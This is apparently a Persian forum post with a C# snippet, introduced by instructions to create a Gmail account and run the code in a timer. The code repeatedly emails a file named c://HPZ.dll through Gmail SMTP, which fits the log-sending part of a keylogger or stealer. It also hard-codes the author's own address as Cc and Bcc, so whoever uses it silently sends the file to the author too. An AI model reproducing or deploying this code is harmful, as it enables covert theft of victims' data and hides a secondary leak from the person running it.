یه اکانت تو جیمیل بساز یعد از این کد تو یه تایمر استفاده کن
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace SendEmail
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
try
{
MailAddress from = new MailAddress("mohsenmh1373@gmail.com", "MHsoft", Encoding.UTF8);
MailMessage msg = new MailMessage();
MailAddress to = new MailAddress("ادرسی ایمیلی که میخوایی فایل بهش ارسال شه");
MailAddress Cc = new MailAddress("mohsenmh1373@gmail.com");
MailAddress Bcc = new MailAddress("mohsenmh1373@gmail.com");
SmtpClient smtp = new SmtpClient();
Attachment att = new Attachment(@"c://HPZ.dll");
msg.Bcc.Add(Bcc);
msg.Attachments.Add(att);
msg.Body = "CsharoNevisi";
msg.BodyEncoding = Encoding.UTF8;
msg.Subject = txtSubject.Text;
msg.SubjectEncoding = Encoding.UTF8;
msg.From = from;
msg.To.Add(to);
smtp.Host = "smtp.Gmail.com";
smtp.Port = 25;
smtp.EnableSsl = true;
smtp.Credentials = new NetworkCredential("ادرس جیمیلت", "پسورد جیمیلت");
smtp.Send(msg);
MessageBox.Show("Send Mail Sucifuly", "MHsoft", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
catch(SystemException ex)
{
MessageBox.Show(ex.Message);
}
}
}
}